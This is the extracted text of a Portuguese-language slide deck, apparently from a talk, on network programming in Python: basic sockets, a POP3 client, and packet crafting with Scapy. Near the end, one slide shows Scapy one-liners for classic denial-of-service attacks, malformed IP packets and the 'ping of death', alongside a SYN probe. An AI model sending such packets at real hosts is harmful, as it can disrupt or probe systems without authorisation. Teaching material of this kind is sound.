Escolar Documentos
Profissional Documentos
Cultura Documentos
03 FabioOlive Python Sockets e Pacotes PDF
03 FabioOlive Python Sockets e Pacotes PDF
Fábio Olivé
(fabio.olive@gmail.com)
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
AVISO
Não sou um especialista!
Sou apenas um curioso
com anos de experiência
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Tópicos
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Por que Python?
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Por que Python?
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Por que Python?
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes
em Python
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import socket as S
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect((“server.qualquer.com”, 110))
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect((“server.qualquer.com”, 110))
c.recv(1024)
c.send(“USER foobar\r\n”)
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import socket as S
s = S.socket(S.AF_INET, S.SOCK_STREAM)
s.bind((“”, 8001))
s.listen(5)
c, a = s.accept()
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
● Protocolos binários
– Complica a codificação
– Módulo struct para criar representação binária dos dados
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Programação de Redes em Python
import poplib as P
pop = P.POP3(“pop.gmail.com”)
pop.user(“foo”)
pop.pass_(“bar”)
pop.list()
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Exploração Interativa
de Redes
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Exploração Interativa de Redes
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Exploração Interativa de Redes
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Exploração Interativa de Redes
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Exploração Interativa de Redes
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
ip = IP(dst=”192.168.100.30”)
send(ip / ICMP(id=123, seq=321))
send(ip / TCP(dport=8080, flags=”S”))
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
● Ataques clássicos:
– Pacotes mal-formados:
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
– Ping da morte:
send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Scapy
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
Dúvidas?
Obrigado pela atenção!
Participe!
OeSC-Livre.org
TcheLinux.org
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.